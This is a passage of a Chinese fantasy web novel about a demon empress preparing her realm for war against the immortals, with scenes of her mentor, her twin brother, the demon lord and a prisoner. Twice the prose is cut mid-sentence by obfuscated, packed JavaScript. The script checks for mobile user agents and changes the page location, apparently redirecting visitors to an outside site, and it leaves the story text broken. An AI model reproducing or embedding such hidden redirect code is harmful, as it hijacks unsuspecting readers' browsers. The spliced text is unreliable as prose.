琉歌没有说话,她静静地坐在那里,烛火在她眼底跳动,却照不亮那双墨紫色眼瞳深处的阴影。 对朝生暮死的凡人来说,永生绝不是天授的恩赐。 是来自地狱的,最恶毒的诅咒。 “……我不能这样对他。” 琉歌的声音很轻,轻得几乎听不见。 惊轶望着她,忽然觉得有些陌生。 这位定宸尊上,从正位以来,杀伐决断从不犹豫。 学宫说屠就屠,领主说贬就贬,分封也是说废就废——她何曾有过半分心软? 可现在,她只是静静地坐在那里,望着桌上那张薄薄的绢帛,像是在看一个无解的难题。 琉歌下意识摩挲着腕骨,生疏而难得的,她在将心比心。 “这件事,我会再找他谈谈的,你们都退下吧。” 惊轶如蒙大赦,刚要行礼告退,却听琉歌又加了一句:“对了,不要跟弥随音提起这件事。” 惊轶一怔,随即躬身俯首:“是。” 他转身要走,却听琉歌想了想,又补充道:“你给手下全都提个醒,别跟他玩那些迂回试探。他所作所为都有我来兜底和授权。” “听不懂他的意思的话,也可以直接来找我,我来问他就好了。” 惊轶目瞪口呆。 他望着琉歌,又想起方才在偏殿里看见的、弥随音跪在她膝前时那副模样——赤狐长老大惊失色,深感新任妖皇看着冷酷,居然很有几分昏君潜质。 但凡弥随音有一星半点的政治天赋,在琉歌的纵容和保护下,他能揽多少权,惊轶都不敢细想! “这……您……”惊轶尝试了半天,吐不出满脑子浆糊,干脆破罐破摔地问道,“尊上何时封他为妖后呢?” 琉歌微微一怔。 她沉吟了一会儿,摇了摇头。 “总不是现在,以后再说吧,现在还太早。” 惊轶眼皮一跳。 “呃,这……您……嘶,”惊轶试探着开口问道,“尊上当真瞒了他很重要的事情?” 琉歌不语。 惊轶暗暗在心底再次“嘶”了一声。 他也不敢细问究竟是什么事——若是问情在这里,他问也就问了,只是现在坐在这里的是定宸尊上。 惊轶只能躬身告退,带着满腹的疑惑和不安,退出偏殿。 74. 轮回的天才 夜色渐深,魔界的天空永远笼罩着一层暗红色的雾气,像是凝固的血,魔族便在这样的魔界,永远不辨日月的活着。 黎狩斜靠在魔庭王座上,指尖把玩着一枚灰扑扑的妖丹。 那妖丹生机全无,在他指间上下翻滚,被百无聊赖地抛起又接住。 血亭君跪在阶下,俯身行礼:“大人,都查清楚了。” 他恭声道,“这新上任的妖皇,正是不久前和轩辕郁柏神子一起诞生自妖界圣坛的神女。” “春在野曾取她的血做研究,使得她与神庭的关系极差,因此很早之前便使了个法子脱离了神庭,藏于妖界山林之间。” 黎狩没有抬眼,只是“嗯”了一声。 “大人不必担忧,”血亭君继续道,“她虽然比郁柏强一些,却并非靠自己的力量,而是凤凰仙君的功劳。被我们撬动的妖族传回来的消息显示,这神女和神子一样,并非完全体妖皇,只是半神——她能杀春在野,还是因为凤凰仙君实力强悍,替她推平了研学派的暗算和反扑。” 黎狩手中的妖丹停了片刻。 “凤凰怎么会跟着她?”他略微皱眉,语气里带着几分烦躁,“梅若君不是保证,能在大战前控制住弥随音吗?” “这……”血亭君迟疑道,“属下也不知,但凤凰确实已经成了妖皇的第一神使,妖界内外皆称其为……帝师。” 黎狩“啧”了一声,将那妖丹攥在掌心。 “梅若君那里情况怎么样?”他问,“给我联系他。” 血亭君垂首继续应答:“仙尊手下原本的三神使,茶清叙身陨后,来补其缺的茶晚山莫名叛逃下界,行踪不明,南宫悯是个较真的性子,拉拢不成,反被他发现了仙魔之间的蛛丝马迹——现在已经被仙尊囚于囹圄,对外宣称还是失踪,生死不明。” 他顿了顿,补充道:“梅若君大人除了一至公道人,手下目前无人可用,正为这些事焦头烂额。” 黎狩嗤笑一声。 “仙尊要信仰和人心,我们要土地和奴隶……”他把玩着妖丹,语气里带着几分嘲弄,“看似利益分明,井水不犯河水。实则不然。” 他顿了顿,忽然“啪”的一声捏碎了那颗妖丹。 灰白色的齑粉从他指间簌簌落下。 海风阵阵,吹散尘土,吹起花白的浪,吹得礁石上的两人衣袂翻飞。 弥随音取出素梅递给茶晚山,小姑娘接过,蹲在沙滩上,捡了根树枝,一边在沙地上勾画推算,一边和琉歌继续介绍那些只有仙族知晓的内幕。 “……飞升后,人和妖便只能修炼仙界独有的仙气。” 她的声音被海风吹得有些散,却字字清晰,“虽说仙气纯净无暇,是最接近天道的力量,可修炼了仙气的仙族,再也吸收不了下界混沌的灵气。” “仙族虽然强悍,却受到天道平衡的压制,只能在下界发挥出渡劫期后期的实力。”茶晚山用树枝在沙地上画了个圈,“而且,一旦自身储存的仙气用完了,我们是没法像妖族人族一样,通过吐纳灵气充盈丹田的。” 她抬起头,望向不远处的弥随音:“妖族军队的实力普遍在筑基和金丹上下,若是单打独斗,只有死路一条。妖界想要赢,只能靠阵法、符咒,打持久战,让仙族耗尽仙气,任人宰割。” 素梅内外,弥随音和琉歌都若有所思地点了点头。 “而且,对你们还有优势的一点就是——”茶晚山的树枝在沙地圈内点了点,“仙族的仙器和仙阵,也都是无法在妖界发挥作用的。” “仙器需要极其纯净稳定的力量才能启动,而纯度不够、蕴含的力量也参差不齐的灵气,一旦被吸纳入内,就像一杯水泼入精密仪器内部,直接就会毁了整个仙器。” “仙阵也是同理,下界根本没有足以启动阵法的力量。就算仙族强行将阵法笼罩在自己的仙气覆盖范围内,也维持不了一时半刻,完全是得不偿失。” 弥随音微微蹙眉:“那云出岫是如何做到的?” 茶晚山摇了摇头表示费解:“这正是我要查的。” 魔界,暗红色的雾气涌动不休。 黎狩的指尖还残留着妖丹的齑粉,他漫不经心地拍了拍手。 “云出岫是万年难遇一见的天才。” 他的声音带着几分玩味,“她让仙阵脱离仙族的力量,在妖界成功运行了——还凭此杀了龙尊常妄!哈哈哈哈哈,这是多么翻天覆地的革新!” 血亭君垂首道:“大人说得是,她只要成功被仙尊救走,就是铁板钉钉的新一任仙尊神使。” 黎狩忽然笑了。 “可你说,这样好的苗子,仙尊不放在仙界好好保护着,怎么还让她下界历练?” 血亭君一愣。 黎狩站起身来,踱步到王座旁的一幅星图前。那星图上每一刻“星子”所在的位置,都被人标注了对应的妖界九洲的具体位置。 若有妖族在这,定能一眼认出,那所谓的星图,竟是被密密麻麻标满了可进攻地点的妖皇屏障! “你可知平仙?” 血亭君疑惑抬眸,回忆这几次和至公道人交涉的记忆—— “属下从至公嘴里略知一二……飞升成功的修士会在天雷中获得仙骨和仙魂,有了这两样东西,才算是成为了真正的仙族,从此通晓天机,长生不老,法力无边。” “但是,”他顿了顿,“飞升修士只构成了一半的仙族。随着时间推移,飞升的生灵不断填充仙界,他们在仙界扎根、聚集,直到繁衍壮大,形成氏族。” 魔尊点了点头。 “平仙就此诞生——他们是仙与仙诞下的孩子,一出生就在凡尘中人梦寐已久的圣地,却只有仙骨,没有仙魂,于是世人将其称作——平仙。” 他转过身,望向血亭君:“因为父母俱是仙族,这样的孩子天生就有仙骨,无需凡人一样需要天雷淬体。但只有仙骨是无法突破一千年的寿命限制的。平仙想成为真正的仙族,还是和飞升修士一样,需要淬炼出自己的仙魂。” 黎狩满意的笑了:“对于已经长生的仙族来说,他们不可能接受自己的孩子只有一千年的寿命。” “平仙有比普通人更好的修炼天赋,更丰富的修炼资源。但天道公平,同等的,他们想要成为真正的仙族、打破寿命限制、获得仙魂,需要的东西也比普通人多——这种东西就是功德。” “正常修士只要修为达到、悟道完成、通过天道雷劫的考验,即可位列仙班。”黎狩缓缓道,“平仙不仅需要这些,还需要洗去记忆、投身轮回、不断淬炼灵魂,累世行善,积攒足够让天道认可的功德后,才能获得仙魂,才能真正步入仙族之列。” 他顿了顿,望向“星图”。 “所以,你说云出岫若真是下界历练,要洗净记忆、经历十世轮回——若十世轮回里能积攒足够功德,他们这些已经有了仙骨的平仙,便不需要雷劫淬炼,可直回仙庭,从此就是真正的仙族了。” “若没有攒够功德,仙魂仙骨的力量耗竭,那便只能和普通修士一样,再想不起自己的身份,冲击大道失败后陨落,从此消弭于阴阳间。” 血亭君恍然:“大人的意思是……” 黎狩没有回答。 他只是望着星图,唇角噙着一丝意味不明的笑。 青丘,玉牡丹帝宫,颂颂并不急着汇报,先娴熟的给琉歌泡了杯茶,琉歌捧着茶短暂休憩,消化茶晚山的一席话,手边忽然触到一份竹简。 那是方才炼器师公会屠五月遣人送来的,她一直没来得及细看。 琉歌捞过来展开——是一份供她选择的武器图谱。刀、枪、剑、斧,各式各样,琳琅满目。 她微微挑眉,忽然起了几分促狭的心思。 取出素梅,她轻轻唤了一声:“师尊。” 那边很快有了回应:“琉歌?” “炼器师公会给我打了一套武器。”琉歌望着那份图谱,语气里带着几分难得的俏皮,“我都没学过呢——这算不算是师尊的失职?” 素梅那头沉默了一瞬,随即传来弥随音闷闷的笑声。 “那你想学什么?” 琉歌反问:“你最擅长什么?我要学就学最强的。” “弓箭和长枪。”弥随音的声音透过素梅传来,带着几分温柔,“你喜欢什么?” 琉歌想了想:“我近身和他们打没有优势——就学弓吧,那我就让他们给我也打一副弓箭。” “别着急。” 弥随音说,“我这里还有些东西,是我这些年收集的很好的制弓材料,我马上给你送去……” 妖皇噗嗤笑了。 “师尊,你已经是我的神使了,可以用我的权柄。” 她顿了顿,轻声道:“看到你手腕上的妖皇印记了吗?我已经启动了——你摸摸它。” 素梅那头安静了片刻,弥随音依言将指尖缓缓贴了上去。 下一刻,光芒一闪,仗着凤凰不惧烈火和明光的特性,弥随音只是眯了眯眼,连闭都不曾闭,直直注视着独属于妖皇的空间权柄,以随身空间的形式,在他眼前倏然展开。 那是一方明亮而平坦的空间。 天圆地方,四周仿佛可以触碰到边界,又仿佛永远在向前延伸,没有尽头。 天穹灰蒙蒙的,光自虚无中来,均匀洒落。地面是一片尚未凝固完全的灰白色基底,踩上去能感受到细微的波动。 极远处,银灰色的雾气涌动不休,若隐若现的几根红线在灰雾里沉浮,像是祂奔涌不休的血管——那是尚未开辟的混沌地界。 空间正中悬浮着她的妖皇神座,那是此处唯一的陈设。 神座周围数丈方圆的地面上,零散堆着几份奏章、几块矿石还有一些杂物,角落里还有两件换下后忘记带出去的外袍。 看得出来,琉歌尚无时间好好建设自己空间,只是把祂当储物袋使。 弥随音怔怔地站在那片空间里,一时竟说不出话。 琉歌的声音从四面八方传来,带着笑意:“选块地方吧,师尊,等我空下来了,给你移几间院落进来,这样你随时可以进来休息。” “这……算是您的领域吗?” “对,在这里,我确实可以做到心念一动,给你直接创造想要的东西——不过要耗费些神力。”琉歌的声音顿了顿,“咱们后面还有不知多少硬仗要打,能省则省,能省则省……” 弥随音赶紧道:“说的对,外面都有的东西,咱不费这个神力。” 琉歌轻笑一声。 “哎呀,这让外面那些妖族听到了,不得夸一句妖后真是节俭持家吗?” 弥随音又脸红了,他轻叹一声,默默开始往外掏各种高阶材料,试图转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310287|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移话题:“这些都是我收集的,制弓用的龙骨木、极寒墨蛛丝……你先收着,回头你的实力上来了,我再亲自给你做一副。” 琉歌望着那一地流光溢彩的材料,笑意更深。 “给它想个名字吧,师尊。”她说,“我让屠五月把地方空出来,回头你来给它刻字命名,怎么样?” 弥随音一怔。 “命名?” “对。” 琉歌的声音透过空间传来,带着几分执拗的认真,“你教我弓箭,我的武器自然该由你来命名——这不是应该的么?” 琉歌顿了顿,又想起什么:“问情的那柄剑,长相忆,碎的只剩剑柄了。回头你再陪我去一趟她的埋骨地,我看看能不能再找到一些残骸……好歹给她把完整的剑身拼出来,再送下去陪葬。” 弥随音没有拒绝的理由,温和颔首:“好。” 青丘,玉牡丹帝宫内,琉歌从空间中出来时,颂颂等人已经等在门口。 见她现身,兔族少女赶紧迎了上去:“尊上,藏督军和令司教已经到了。” 琉歌揉了揉眉心:“都到了?那就说吧,什么事情。” 她迈步向议事殿走去,颂颂跟在她身侧,递上一份折子。 “还是关于军队混编整训的事。”颂颂轻声道,“藏督军问,能不能将军队的模式改回去——以妖身和能力细分,改回原来十二支作用各异的赤琉璃小型军团?” 琉歌接过折子,边走边看。 颂颂继续道:“尊上,我去训练场看了,妖族真的不好配合。现在又是大扩军,又是完全混编,又是招收人才,完全不能调控。” 琉歌蹙了蹙眉:“令群山那边呢?” “令司教也是这个意思。”颂颂说,“她和藏督军都反馈,光是一个采娥卫收容教导成长期的幼崽还是太粗糙了。妖族幼崽稀少,她们觉得最重要的,还是要尽力发挥每个人的作用。” 说话间,两人已行至议事殿门口。 殿内,藏权云和令群山正立着等候。见琉歌进来,两人齐齐行礼。 “都起来吧。”琉歌摆了摆手,走到上首坐下,将那折子放在案上。 她抬眼看着两人,开门见山:“你们说,要改回十二支小型军团?” 藏权云上前一步,拱手道:“是,尊上。妖族真的不适合混编——各族天赋、体型、战斗方式差异太大,强行捏在一起,反而互相掣肘。末将以为,不如各展所长,专项深练。” 令群山也道:“采娥卫那边也是同样的问题。成长期的幼崽天赋各异,一刀切的教学方式,反而埋没了他们的潜力。” 琉歌静静地听完。 她将那折子拿起,又放下。 “你们还没搞清楚情况,我们这次不是和同等级的人族打,我们要和个体实力远强悍于我们的仙族打。” 她的声音冷了下来。 “告诉我小军团面对仙族有什么用?” “在仙尊魔尊面前,在仙族魔族面前,妖族个体的天赋和能耐,能起多大作用?” 殿内一静。 藏权云张了张嘴,却说不出话。 “我并非要所有人都成为战争的一笔注脚。”琉歌的语气稍缓,“只是现在不合适。除非能力特别突出的,现在没有时间慢慢培养他们。先顾全眼下吧。” 她顿了顿,目光落向窗外。 “大军团作战,是必然的。” 藏权云和令群山交换了一个眼神,凝神细听。 “问情时代,可以十二支军队分散作战,最大的原因就是——她足够强大。” 琉歌的声音淡淡的,像是在说一件与自己无关的事。 “她和亦清,完全体神明和完全体神兽——她手握实力强悍的四圣兽。天道规定妖皇只能有三神使,但四圣兽又是一体的——于是,可以使用妖皇权柄的半神,问情时代,最多时能达到惊人的七个。” 她微微垂眼。 “亦清、琥珀、赤菱、蔚川、春在野、喻未央、惊轶。” “若问情一直好好的,妖界战力就是当之无愧的最强。” 她顿了顿,唇角浮起一丝几不可察的苦笑。 “人皇在死了一个相凝神使的情况下,只剩他和祝商序两个人,在自己的主场上打不过问情妖祖。” 藏权云屏息听着。 “问情的谥号‘肇武’,其中的武字,就来自其强悍的实力。” 琉歌收回目光,落在那张折子上。 “可我呢?” 她轻声问,像是在问她们,又像是在问自。 “我现在都不是完全体妖皇。我也没有问情那样的七神使。” “我只能靠军队和阵法撕开仙族的防御。 我不能像问情一样,亲自冲锋在前撕开防线,再让其身后的十二支军团扫尾。” 她将折子放到一边。 “我必须依靠大军团。或者说,妖界现在也只能依靠大军团的防御性进攻,来保全妖界了。” 殿内陷入沉默。 “妖身各异不好统一调度的话,就全部给我压制妖族原型,在军中时全部以人形进行统一掌控、训练。” “该怎么杀鸡儆猴,该怎么立威,就要看你们的本事了。” 藏权云和令群山对视一眼,终于躬身道:“末将明白了。” 75. 名垂青史能几人 “……浮荣的研究目前就到这里,我想听听你的想法。” 琉歌打了个哈欠,看了眼帝宫穹顶被乌云遮住半边的悬月,颂颂熬不住了,被她赶回去好好休息。此时夜已深,帝宫内外皆静,除了还在和郁柏通过素梅交流的妖皇。 “会尊重吗?” 郁柏将素梅置于桌上,指尖轻点,水镜陡然升起,神子笑了笑,水镜对面的琉歌感叹道:“没想到你居然回来问我的想法。” 琉歌思索片刻,耸了耸肩:“不一定,得看你的愿望和我的计划冲不冲突。” 许久未见的神子顿时笑弯了腰:“真是不出所料的回答啊,姐姐。” “……你和以前不一样了。”琉歌透过水镜饶有兴致的打量着郁柏,似乎一时间难以将这个活泼的少年和自己印象里阴郁的神子联系起来。 “是吗?姐姐,但你还是一样——无论是上一次,还是这一次。” 上一次是哪次,两人都心知肚明。 “——那次,春在野明明将融合……” “姐姐。”郁柏却罕有的开口打断了她,将额前散落的黑发全部往上一捋,露出光洁的额头和紫银双色的眼睛。 “别说那些无关的人了,再继续说说我吧,姐姐。”他眨了眨眼,语气里带了几分祈求似的撒娇,“说说我哪里不一样了好不好?” 琉歌停顿须臾,还是顺着他的意,没有再说那些隔在两人中间的一切——那些东西,他们早已在识海里,在众人看不见,听不到的地方,说的够多了。 “眼睛。” 妖皇点评道,“你之前……像人偶。百姓的恐惧是陶土,旧神庭的贪欲是窑。我触碰你,和触碰一块矿石、一颗丹药、一株草木或者房屋,都没有区别。” 郁柏努了努嘴表示赞同:“于是我模仿你。” “你不必模仿我的。” 琉歌笑了笑:“我们是一样的,郁柏。一切困扰你的问题,也会相同地困扰我。” “我并不比你摸索更多,或者更深刻的答案。” “不一样……”郁柏却微笑着摇了摇头,“姐姐,我是随海浪进进退退的浮沫、细沙。而你是岸边矗立不移的巨礁,能将海浪切成合乎心意的样子。” “你给人一种……” 他顿了顿,还在想如何形容,琉歌却觉得这段对话神似下午的那场剖心,下意识接话道:“稳定性?” 话一出口,两人都是一愣。 “又是那个凤凰弥随音?!” 郁柏反应过来,顿时极大的不满,眉毛拧成一团:“怎么又是那个弥随音!” “他到底怎么你了?你对他意见好大?”琉歌不解地蹙了蹙眉,“从最开始你就总欺负他。” “哈!?” 郁柏也不撒娇也不忧郁了,一骨碌爬起来,愤怒地数落起弥随音的不是:“我欺负他?!明明是你总偏袒他!” “我们见面他瞪我,我们聊天他插话,我们布局他搅局——这人是天生的搅屎棍来的吧!” 神子原地拉磨似的噔噔噔绕了几圈,越说越气。 “你这么喜欢他,难道以后我们俩一被窝的时候,他也要睡中间吗?!” “停!” 琉歌往后一仰,扶住额头,头痛得不轻,感觉跟他聊天比自己一人搭完整个蛛网系统还累。 “这就有点惊悚了,你这都是跟谁学的……” 郁柏阴阳怪气地笑了一声,意有所指:“三人行则必有吾师——毕竟我可没有一位处处为我着想的师尊啊。” “……这倒确实。” “轩辕琉歌!” 郁柏恼怒地瞪着她:“我们才是一起的!弥随音总说天定姻缘——他和那弥随心之间的姻缘天定——我们之间难道没有吗?我们之间难道不是吗!” 银发妖皇闻言睁开了眼,眼里是郁柏从未见过的温和光芒。 “所以,我来问你的心了。” 她托着腮,目光柔和地落在他身上。 “我们之间有更重要的事情要去完成,远比什么天定姻缘重要得多。” “我知道你也是这么想的。” 郁柏怔住。 没有相似的经历,即使是可以共享记忆和五感的神子和神女……也是两个人。 “我已经错过了你的一百年,姐姐。”他的声音忽然低了下去,“其实我早已经和你两模两样了,是吗?” 琉歌又想笑了:“我知道你那些奇怪的口癖是从哪里学的了。”她抿唇笑着挑眉,“第七洲的熊族?” 郁柏没有接这个话茬,自顾自的低落了下去。 “在你的眼里,我是你的一部分——是血肉,是能源,是可用的棋子或是伏笔。”他抬起眼,紫银双色的瞳仁里倒映着琉歌的虚影,“唯独不是我,轩辕郁柏。” “你甚至给自己起名字的时候,都没有想到我。” 琉歌沉默了。 “你在怪我吗?” “不是的,姐姐。”郁柏摇头,“我在痛惜——痛惜那些分支和假设里,我们本该共同经历的岁月和险径。” “说不可惜那份天定姻缘的流逝肯定是假的,我们无数次离得那么近,却从不是因为交心……我从未从你的眼里看到过我自己。” “你总是越过我,看我背后的旧神庭,看我身后的神座和圣坛,看魔尊,看敌人……” 他轻轻叹了口气。 “那时我便明白了,我们的心早已远离。” “若我们还是刚出生时的样子,姐姐,你今日怎会不明白我的心呢?” 妖皇静静地听着。 这是两人相距最远的一次谈话,隔着夜色、群星、山海、水镜。 这又是两人相距最近的一场宣誓。两朵自诞生起便被人为恶意撕裂开的并蒂双生的花,终于再次触碰到了彼此熟悉的枝叶和花瓣。 “可是分开也有分开的好,不是吗?” 郁柏话头忽然一转,笑着往后推开些许,让琉歌看清了他目前所住的整个房间。 家徒四壁。 琉歌轻咳一声,将这个词驱逐出脑海,委婉道:“我回头让弥随音给你送点钱过去。” “轩辕琉歌!” 一谈到弥随音,郁柏总是很容易被激怒。琉歌有些困惑地歪了歪头,不明白他怎么又跳脚了,好心顺口解释了一句权当安抚:“他现在在外面,速度快。” 郁柏深吸一口气,懒得再争辩。 “流芳只须臾,我亦岂久长。” 他忽然正色道。 “妖族寿命漫长,但古往今来名垂青史的能有几人?既然天道将我推上了这个位置,剥夺了我苟且的权力,那么——我没有不去拼一次的理由。” 琉歌注视着他。 郁柏银紫双色的眼瞳亮得惊人。 银瞳……那是一只颜色极其接近人皇灰色瞳孔的眼睛。 神子诞生自圣坛,身上的每一处特征,都直接或间接地映射了妖族百姓的想法。 那时该有多少妖族,明里暗里思考过——重回人界,重新过他们熟悉的、那种东躲西藏的日子,才会让神子的眼中长出银瞳? “你擅长构建秩序和稳定,但同样的,解决有些问题的时候便会显得拖沓。”郁柏的声音将她拉回现实,“而我,就是为了补全你的短板而生的。” “姐姐,等着看吧——我将为你,为妖界,为五界万族,将这天地再次撕开一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310288|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口子!” “你有你的理想,我也找到了我的道路和职责。” 琉歌没再言语。 她忽然凑近水幕,做了一个双掌掌心向上的端捧的动作。 下一刻,一双指尖微凉的手落在郁柏被夜风吹袭的同样冰凉的脸上,替他将耳畔散落的碎发别到耳后。 两种冰凉贴偎处,反倒生出些融融暖意。 郁柏有些惊讶:“姐姐?你何必在这些地方浪费……” 话没说完,一个比指尖更凉的吻,柳絮般拂过他的眉心。 妖皇印记骤然显现。 “我向你赐福,郁柏。” 琉歌的声音很轻,“我以妖皇的名义,祝愿你的理想和道路得偿所愿。” 郁柏懵懵地摸了摸额头。 “您这是做什么……为什么不再提防我了?如果我的愿望是夺回妖皇之位呢?” 琉歌的实体连一秒都没有多维持,赐福一降下,立刻收回了神力。 “还好吧,我看你威胁性也不是很大的样子。” “轩辕琉歌!” “好了好了——” 琉歌不再玩笑,笑着抬手轻轻在眼前一划。 水镜应声而散。 在摇曳着溢散的波光里,郁柏听到姐姐含笑的允诺:“去做你想做的一切吧,郁柏。” “缺失的共同经历确实将我们分成了两个人——可今生互相理解的两颗心,正在将我们的前路重新合二为一。” “你从我的身上看到了确定性,你可曾想过,那些确定性有很大一部分出自你的灵魂呢?” 妖皇微笑着将银发挽起,两张一模一样的面孔隔着四散溃裂的水镜对视,如出一辙的眉眼之间,含着相同的,宁静却灼烈的光芒。 “弥随音问我为何不逃走,我也将这个问题丢给你——为何不逃跑呢,郁柏?” “上一世,为何仅因我一句‘你能否担负百姓的命运’,就放弃挣扎,任由我吞噬?” “这一世,又为何在帝宫看完了我的记忆和所作所为后,主动找到我,请我回神庭重握妖皇之位?” “其实你也一直在替你的百姓寻觅,辨别,筛选更合格的君主。”银发妖皇眼中含着真切的笑意,“为了妖界的百姓和未来,你与我的选择殊途同归,都能毫不犹豫地舍弃自己。” “郁柏,从这个方面来说,我们是一样的……” “在后世的纸上笔下,在即将到来的未来,他们会看到并肩而行的我们。” “在神庭、百姓、牺牲和吞噬之前,是力量同源、同胎双生的我们——”琉歌笑容愈发鲜艳明丽,她重复了一遍和郁柏第四洲分别时,他表明态度的那番话,一手抚上自己的心口,一手前探,仿佛要透过模糊得快辨不出人形的水镜残片,将那蓬勃的野心注入郁柏的心脏—— “流芳只须臾,我亦岂久长。” 郁柏瞪大眼睛,下意识伸手。 琉歌的虚影却随着水镜的溃散,彻底消失在他的眼前。 “我祝你武运昌隆,百战百胜。” “……是,吾皇。” 夜风过,把琉歌刚刚帮他别好的黑发重新揉散。 郁柏刚要重新躺下,进入节能模式节省体力,好省出一点完成明日的巡查工作的力气——耳边忽然传来密集而富有节奏感的窸窸窣窣声。 虫嚼叶片似的,沙沙簌簌响个不停。 郁柏头顶漆黑的狐耳冒了出来,抖了抖,灵敏地转了半圈,立刻确定了声音从何处传来。 金镯熔岩般淌下,在他掌心化为一柄黑金双色交替的利剑。 门无声张开一条狭小缝隙。 黑影闪过,转瞬消失在了夜色里。 76. 平仙 “颂吟还好吗?” 青丘狱里,琉歌忽然开口问道。 伴驾左右的白水边似乎没想到妖皇还记得自家内君,微微一怔,随即受宠若惊地连连点头:“好,好着呢,我家内君最近准备把客栈先关了,来青丘帮我照看药房。” “药房还开着?” 白水边笑了:“当然得开着,好好经营,以后留给颂颂,也是一份基业。” 说话间,几人越过喻未央的牢房,向青丘狱更深处走去。 ——最里面只有一个冷千春。 路过浮荣时,画妖抬眼看了一眼妖皇,琉歌似有所感,略一偏头,和她对上了视线。 画妖的脸上顿时堆出一个讨好的笑,眼角眉梢,谄媚的笑意和逐渐脱色的面皮上挂不住的颜料一起扑簌簌落了一腿。 琉歌不忍卒视,对着颂颂耳语了几句,随即收回视线,径直离开了。 浮荣并不好奇尊上吩咐了什么——总之不会是要她性命。 现在最该担心被琉歌推出去承担众领主磅礴怒火的,是隔壁那位嗣音。 她恭顺地目送琉歌最后一点衣摆消失在青丘狱深处,缓缓闭目,往后一靠,闲适放松地倒在只铺了一件外套的稻草堆上。 识海里,那道声音再次响起。 “……好久不见啊,浮荣,你的变化很大。” 那声音语调和缓温煦,像永远含着一团春风似的笑意,不知不觉间消解着人的抵触情绪。 “上次见你,你还是春在野之下、全权掌控拜圣教大小事宜的二把手。如今锒铛入狱,好生可怜。” “如何?当初你说不必我出手,你也能飞升成仙……如今,别再拒绝我的帮助了吧?” 浮荣没有睁眼,唇角却微微勾起。 情化妖族夹在妖族和人族之间,妖族说他们这样诞生自过于丰沛情感的妖族是“异人”,没有幼崽期、成长期和成年期,不算妖族。 人族更是直白,一切非人都是异族,除妖队一来,管你三七二十一,统统打包送去地府轮回。 她早就习惯了被两边排斥。 “当时我身挑重担,离飞升只有一步之遥,自然不得不严肃谨慎。”她懒洋洋地开口,“现在无事一身轻——我连妆都画不成——又摆出一副端肃的样子给谁看呢?” “你甘心吗?”那含笑的声音忽然极近,浮荣神识扫过识海,只见一黑纱覆面,麦色肌肤的男人安静悬于她的识海之上。 那双麦田似的金瞳和浮荣甫一对上,顿时微微弯了弯,亲近而不失距离。 “若那时候,你若是手握我的一根神骨,不就可以带着拜圣教抵御琉歌的攻击了?” 浮荣抿了抿唇,回忆起了当时梅若君的话。 ——“画皮容易难画骨。妖界现在的灵气浓度和地脉厚度,绝对不足以支撑春在野的想法……再从圣坛抽调地脉之力孕育一副身躯,完全是天方夜谭。” ——“我可以给你一根仙骨,有了这根仙骨,就能让问情稳稳地回来了。” ——“问情之死有我的一份责任,让我来助你,就当是帮我自己了却因果。” 浮荣睁开眼,望着昏暗的牢房顶部。 “当你顺口就报出妖界灵气浓度和地脉厚度时,我就不可能配合您了,仙尊大人。” “为何?”那声音依旧温和,没有半分被冒犯的恼怒,“你对这个妖界明明没有感情——浮荣啊,孩子,我比你想象的更关注你。” “你扪心自问,你现在是妖族,还是那个大将军府的官家小姐?” 画妖的脸色骤然冷了下来。 “端木倾。” 她在识海说。 “她是被老将军盛赞有将帅之才的独女,老将军和老夫人一生的掌上明珠,她有名字,仙尊大人,她叫端木倾。” 仙尊陡然静滞了一瞬。 “你……”他忽然错开了话题,很是跳跃突兀地问道,“你爱她?” 浮荣吞情而生,以画皮之术承载情感,又修炼炼化感情的法术。虽然天生是难以共情的草木之身,却对情绪极其敏感。 那轻飘飘的问句之下,一股短暂被兴致压下的暴烈怒意令她心惊不已—— 神明之怒,果然可怖。 画妖一时间心如擂鼓,下意识屏住了呼吸,没有回答。 牢房里安静得只能听见她自己的心跳。 “……那痴心重情的官家小姐,是我仙族小辈的转世。”良久,梅若君的声音再次响起,已经恢复了惯常的温煦,“春在野奉问情之命研究过一段时间的平仙,我知晓你也对此颇为了解。” 浮荣缓缓吐出一口气:“是。” 她低声承认,“平仙只有仙骨而无仙魂,要入轮回积攒功德。功德足够之时,才能得以真正意义上位列仙班。” “对。”梅若君的声音里带了几分欣慰,“浮荣啊,端木倾就是入了轮回的平仙。” “这已经是她的最后一世了,本来我们看到她得了痴心重情的命格,未来情劫难渡,会为情所困、为情所伤,肯定飞升无望——谁知,你却是她的转机。” “她的灵魂已经与你融为一体。” 浮荣的瞳孔骤然收缩,呼吸微滞,半晌,叹息道:“仙尊大人说了那么多,想让我做什么呢?” 梅若君跟着幽幽叹息:“仙族小辈难得,有天赋的小辈更难得——平仙飞升之路有多艰难,你亲身经历了一世,比我更清楚。” “我只是希望每个离开仙族的孩子都能平安回家,尤其是轮回转世投入妖界的平仙。妖界马上就不太平了,你清楚的,魔尊蠢蠢欲动,仙族又接连遭遇异象,导致神使遇难,如今,我也不过勉力支持而已。” 他顿了顿,语气愈发恳切。 “我知道,因为我放任了上一次魔尊侵略妖界的举动,导致妖界百姓对我很失望——但我如今不是来弥补了吗?” “你将这根仙骨献与妖皇琉歌,能在抵抗魔族的前线起些作用。” 这话说得太客气。 仙魔是天生的克星,一根仙尊的骨头,若是融入妖界屏障,能让元婴及以下的魔族碰都碰不得屏障! 浮荣一时间没有接话。 